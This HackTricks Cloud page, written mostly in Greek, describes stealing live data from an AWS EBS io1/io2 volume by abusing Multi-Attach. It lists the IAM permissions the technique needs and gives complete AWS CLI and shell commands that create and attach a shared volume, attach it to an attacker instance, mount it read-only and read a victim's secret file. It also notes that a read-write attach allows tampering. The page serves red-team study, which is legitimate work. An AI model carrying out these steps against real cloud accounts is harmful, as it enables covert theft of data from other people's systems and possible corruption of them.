AWS - Live Data Theft via EBS Multi-Attach
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Σύνοψη
Κακοχρησιμοποιήστε το EBS Multi-Attach για να διαβάσετε από έναν ενεργό io1/io2 data volume προσαρτώντας τον ίδιο όγκο σε ένα attacker-controlled instance στην ίδια Availability Zone (AZ). Το προσαρτημένο κοινόχρηστο volume σε read-only κατάσταση παρέχει άμεση πρόσβαση σε αρχεία που είναι σε χρήση χωρίς να χρειαστεί να δημιουργήσετε snapshots.
Απαιτήσεις
- Target volume: io1 or io2 created with
--multi-attach-enabledin the same AZ as the attacker instance. - Permissions:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstanceson the target volume/instances. - Infrastructure: Nitro-based instance types that support Multi-Attach (C5/M5/R5 families, etc.).
Σημειώσεις
- Προσαρτήστε σε read-only με
-o ro,noloadγια να μειώσετε τον κίνδυνο καταστροφής και να αποφύγετε journal replays. - Σε Nitro instances η EBS NVMe συσκευή εκθέτει μια σταθερή διαδρομή
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...(βοηθητικό παρακάτω).
Προετοιμάστε ένα Multi-Attach io2 volume και προσαρτήστε το στον victim
Παράδειγμα (create in us-east-1a and attach to the victim):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Στο θύμα, format/mount τον νέο volume και γράψτε ευαίσθητα δεδομένα (παραδειγματικό):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Συνδέστε το ίδιο volume στο attacker instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Mount ως read-only στον attacker και ανάγνωση δεδομένων
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Αναμενόμενο αποτέλεσμα: Το ίδιο VOL_ID εμφανίζει πολλαπλά Attachments (victim and attacker) και ο attacker μπορεί να διαβάσει αρχεία που έγραψε το victim χωρίς να δημιουργήσει κανένα snapshot.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Βοηθητικό: βρείτε τη διαδρομή NVMe συσκευής από το Volume ID
Σε Nitro instances, χρησιμοποιήστε τη σταθερή by-id διαδρομή που ενσωματώνει το volume id (αφαιρέστε το παύλα μετά το vol):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Επιπτώσεις
- Άμεση πρόσβαση ανάγνωσης στα ζωντανά δεδομένα στον στοχευμένο EBS όγκο χωρίς τη δημιουργία snapshots.
- Αν προσαρτηθεί read-write, ο επιτιθέμενος μπορεί να παραποιήσει το σύστημα αρχείων του θύματος (κίνδυνος καταστροφής).
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

